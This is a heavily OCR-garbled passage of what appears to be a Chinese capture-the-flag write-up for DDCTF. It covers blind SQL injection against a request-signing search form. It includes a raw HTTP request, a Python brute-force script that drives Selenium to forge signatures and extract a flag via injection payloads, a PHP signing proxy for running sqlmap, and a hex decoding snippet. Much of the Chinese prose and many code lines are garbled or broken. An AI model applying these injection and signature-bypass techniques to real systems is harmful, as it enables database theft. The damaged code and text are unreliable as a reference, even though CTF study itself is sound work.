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Host: 116.85.43.68:8080

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv52.0) Gecko/20100101
Firefox/a2.0

Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://116.85.43.88:8080/)Y DJAYLYIPHCIJMOQ/dfe3ialindex. php
X-Forwarded-For: 123.232.23.245

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/s-www-farm-urlencoded

Content-Length: 54

id=testititle=test&date=testlauthor=test&button=search

iR JE AT SR AN 25 A0, hex_math_enc & math.js B— N3

function signGenerate(obj, key) {
var str@ = '';
for (1 in obj) {
if (1 != 'sign') {
strl = ',
strl = 1 + '=' + obj[i];
str@ += strl
}
}

return hex_math_enc(str@ + key)

obj

id: ,
title: "',
author: '

g pa;selnt{new Date( ).getTime() / 1000)

;

function submitt() {
obj['ic ocument.getElementById( 'id").value;
obj['titl t ).value;
obj[
obj['c
var sign : :
document. g yId( ‘queryForm').action =
document.getElementById( ‘queryForm").submit()




BT R FHRIEA L, id LAVHRAKT. title,data # X T SR TIFRIA RS HIEN, RILXA B author 1473
FEA SR T

RILLAT AR 2 waf £

RIRMI—A> waf , Q2 HRH NN 16, A eidl, Tt 7 or, SRR = a2 d, K7 TH | Aok
#, 153 payload:e' || 1#

—ANEE, mRINREERP A NS, TRmSIHEA, BEYEERR R, BIvid)E [ database(), TTLAM] select

schema_name from information_schema.schemata HJ 773\

90 5 IIAA — DA 2R payload 141 sig Al time Fric, X EAMAEEL, 55— M javascript fURD 4 5 I A, 5 Fb
FIH K1) javascript KN, A5 TSN

KT HAER, B 7 AR, SRR s oinE R, Gl R RS IR 0 R ARRAT AERT, KDY js IR IR 55 i Ak
T, BRSO TR ] 2 js fRARS . py T4 sn00py I E A, DRI ) R 2 L selenium i FH0 B8 &5 5 i 19 0T,
BB AT js AT H Y.

HR A T e ) AR A2 5 ) A

import requests

import re

from selenium import webdriver

from selenium.webdriver.chrome.options import Options
import HTMLParser

chrome_options = Options()

chrome_options.add_argument("--headless")

chrome_options.add_argument("--disable_gpu")

chrome_options.add_argument("--window-size=1920,1080")

chrome_options.binary_location = r"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
driver_path = r"C:\Program Files (x86)\Google\Chrome\Application\chromedriver win32\chromedriver.exe"

def encode(payload):

d = webdriver.Chrome(
executable_path=driver_path,
chrome_options=chrome_options

)

d.implicitly wait(30)

d.set_page load _timeout(30)

local = r"D:\phpStudy\WWW\ctf\encode.html"

temp = r"D:\phpStudy\WWW\ctf\temp.html"

with open(temp) as temp cont:
content = temp_cont.read() % payload
temp_cont.close()

with open(local, 'w+') as encode_cont:
encode_cont.write(content)

encode_cont.close()

d.get(local)

# print d.page_source

key = re.search(r"sig=[a-zA-Z0-9]+&amp;time=[a-zA-Z0-9]+", d.page_source)

# print key.group(9)

html _parser = HTMLParser.HTMLParser()




key = html_parser.unescape(key.group(0))
# print key

return key

sqli():

flag = []

urll = "http://116.85.43.88:8080/JYDJAYLYIPHCIMOQ/dfe3ia/index.php?%s"

payloadl = "0'|| (ascii(substring((select secvalue from ctf_key9 limit 0,1),%s,1)))=%s#"

for flag_len in range(1,30):
print "num %s" % flag_len,
for ascii in range(68,127):
payload = payloadl % (flag_len,ascii)
# print payload
tag = encode(payload)
url = urll % tag
# print url
data = {
Yid"
"title'
‘date’ : "',
‘author' : payload,
'button' : 'search'’
¥
headers = {
'X-Forwarded-For' : '123.232.23.245"'
¥
res = requests.post(url = url, data = data, headers = headers)
# print res.text
if 'admin' in res.text:
flag.append(chr(ascii))
break

$#(flag: DDCTF{IKIDLHNZMKFUDEQE}
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= $ REQUEST['id'];
= $ REQUEST['title'];
= $ REQUEST[ "author'];
= $ REQUEST['date'];
time();
shal('id=".$id. 'title="'.$title. "author=".$%author. 'date="'.%date. 'time=".$time. 'adrefkfweodfsdpiru');

curl init();

"title' => $title,
'author' => $author,
'date' => $date,

15

curl setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/JYDIAYLYIPHCIMOQ/dfe3ia/index.php?sig=$sig&time=$time");
curl setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: 123.232.23.245",
))s
curl _setopt($ch, CURLOPT_POST, 1);
curl _setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl setopt($ch, CURLOPT_HEADER, true);

$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);

$header = substr($ch_out, @, $ch_info[ 'header_size']);
$body = substr($ch_out, $ch_info[ ‘header_size']);

http_response_code($ch_info[ ‘http_code']);
//header($header);

//echo $header;

echo $body;

sqlmap —J8H#2: sqlmap -u http://127.0.0.1/ctf/proxy.php?author=admin
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d4e8elf4a0f7elf3a0ebelf3f4ala0d4e8e5a0ebecele7a®e9f3baadcdcdc3d4c6tbbob2b2ele2b9b9b7bdelbdb7e3e4b3b2b2e3e6b4b3e
2b5bOb6blb0e6bele5elb5+d

B 7 5% e i1 OBE R EU VE I E 160~280 , W] W10k ascii #47E FIfE 20~126 , K5I W] BE2 1 ascii IN_EREEES ], T25%
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tt d4e8elf4a0f7elf3alebelf3f4alafd4e8e5a0ebecele7a0e9f3baadc4c4c3d4c6Tbbob2b2ele2b9b9b7b4elbdb7e3e4b3b2b2e3e6b4b3
e2b5boOb6blbOe6ele5elb5+d

ascii = "d4e8elf4abf7elf3alebelf3fd4aladd4e8e5alebecele7ale9f3baadci4cdc3dac6fbbob2b2ele2b9b9b7bdelbdb7e3e4b3b2b2e
3e6b4b3e2b5boOb6blboebele5elb5fd"
y = bytearray.fromhex(ascii)

= list(y)

= list(y)

for i in range(127,141):
for j in range(len(newlistl)):
newlist2[j] = int(newlisti[j]) - i
for k in newlist2:
print chr(int(k)),

print

B3] —HBFFF: That was fast!The flag is:DDCTF{922ab9974a47cd322cf43b50610faea5}
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Clannad sqlmap ft#: https://clannad.me/ddctf.md.html
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